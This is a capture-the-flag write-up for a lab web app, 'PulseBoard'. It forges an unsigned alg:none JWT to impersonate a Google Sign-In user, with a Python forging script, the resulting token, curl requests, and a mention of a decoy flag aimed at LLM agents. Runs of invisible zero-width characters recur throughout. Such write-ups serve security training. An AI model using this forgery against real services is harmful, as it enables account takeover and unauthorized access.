Lab 262 — PulseBoard — JWT Signature Bypass via Google Sign-In

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: jwt_none_algorithm_attack, oauth_token_forgery, privilege_escalation, user_enumeration

Summary

Task: PulseBoard collaborative workspace with Google Sign-In integration, JWT signature not verified. Solution: Forge JWT with alg:none targeting OAuth user to access privileged settings containing flag.

Lab 262 — PulseBoard — JWT Signature Bypass via Google Sign-In

Description

PulseBoard is a collaborative workspace platform for content publishers and editorial teams. It offers team dashboards, content scheduling, membership management, and integrates Google Sign-In for easy onboarding. The goal is to find the flag hidden in a privileged user's private workspace settings.

Target URL: https://26b06715-1421-467f-b7f8-260499d37a8f.labs.hackadvisor.io/

Credentials provided: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application supports both email/password authentication and Google Sign-In OAuth. The goal is to access a privileged user's workspace settings where the flag is stored.

Analysis

Initial Reconnaissance

The login page at /auth/login reveals two authentication methods:

1. Traditional email/password login
2. Google Sign-In OAuth integration

Examining the client-side JavaScript at /js/google-auth.js reveals the Google Sign-In API endpoint:

 javascript read-only • copy allowed Copy
// Sends POST to /api/auth/google-signin with {"credential": "<JWT token>"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

User Enumeration

After logging in with test credentials, the /dashboard/members page exposes team member information including:

• Diana Hartwell (admin@pulseboard.io) - Administrator - Email auth
• Jordan Kessler (shopmanager@pulseboard.io) - Shop Manager - Google OAuth
• Other users with Contributor/Editor roles

The key insight: the application discloses which authentication method each user uses. Users with "Google OAuth" are potential targets for JWT forgery.

Vulnerability Discovery

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The /api/auth/google-signin endpoint accepts JWT tokens without proper signature verification. Testing with the admin email returned:

"This account uses email/password authentication"

This error message confirms:

1. The JWT was successfully parsed (signature bypass works!)
2. The backend validates the auth method per user
3. We need to target a user who actually uses Google OAuth

Solution

Step 1: Identify Target User

From the members list, Jordan Kessler (shopmanager@pulseboard.io) is a privileged user who authenticates via Google OAuth — the perfect target. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Forge JWT with None Algorithm

The "none" algorithm attack exploits JWT libraries that accept alg: none without requiring a signature:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import base64
import json
import time

def b64url_encode(data):
    """Base64 URL-safe encode without padding"""
    return base64.urlsafe_b64encode(
        json.dumps(data).encode()
    ).decode().rstrip('=')

# JWT Header - the critical part: alg set to "none"
header = {
    "alg": "none",
    "typ": "JWT"
}

# JWT Payload - impersonate the target user
payload = {
    "iss": "https://accounts.google.com",
    "aud": "pulseboard-app",
    "sub": "1234567890",
    "email": "shopmanager@pulseboard.io",
    "email_verified": True,
    "name": "Jordan Kessler",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Construct token: header.payload. (empty signature)
token = f"{b64url_encode(header)}.{b64url_encode(payload)}."
print(token)

Generated token:

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJpc3MiOiAiaHR0cHM6Ly9hY2NvdW50cy5nb29nbGUuY29tIiwgImF1ZCI6ICJwdWxzZWJvYXJkLWFwcCIsICJzdWIiOiAiMTIzNDU2Nzg5MCIsICJlbWFpbCI6ICJzaG9wbWFuYWdlckBwdWxzZWJvYXJkLmlvIiwgImVtYWlsX3ZlcmlmaWVkIjogdHJ1ZSwgIm5hbWUiOiAiSm9yZGFuIEtlc3NsZXIiLCAiaWF0IjogMTc3NzMxNTIxMywgImV4cCI6IDE3NzczMTg4MTN9.

Step 3: Exploit the Vulnerability

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -X POST "https://26b06715-1421-467f-b7f8-260499d37a8f.labs.hackadvisor.io/api/auth/google-signin" \
  -H "Content-Type: application/json" \
  -d '{"credential":"eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJpc3MiOiAiaHR0cHM6Ly9hY2NvdW50cy5nb29nbGUuY29tIiwgImF1ZCI6ICJwdWxzZWJvYXJkLWFwcCIsICJzdWIiOiAiMTIzNDU2Nzg5MCIsICJlbWFpbCI6ICJzaG9wbWFuYWdlckBwdWxzZWJvYXJkLmlvIiwgImVtYWlsX3ZlcmlmaWVkIjogdHJ1ZSwgIm5hbWUiOiAiSm9yZGFuIEtlc3NsZXIiLCAiaWF0IjogMTc3NzMxNTIxMywgImV4cCI6IDE3NzczMTg4MTN9."}' \
  -c cookies.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

 json read-only • copy allowed Copy
{"success":true,"redirect":"/dashboard"}

Step 4: Access Privileged Settings

Using the session cookie, access the workspace settings:

 bash read-only • copy allowed Copy
curl -b cookies.txt "https://[target]/dashboard/settings"

The flag is found in the "Workspace Configuration" section under "Api Key":

 html read-only • copy allowed Copy
<p class="text-sm font-medium text-gray-700">Api Key</p>
<code class="text-xs bg-gray-100 px-2 py-1 rounded font-mono text-gray-800 break-all">
  FLAG{REDACTED}
</code>

Decoy Flag Warning

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible divs, designed to trap automated scanners and LLM-based agents. The real flag requires actually exploiting the JWT vulnerability and accessing the privileged user's settings. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍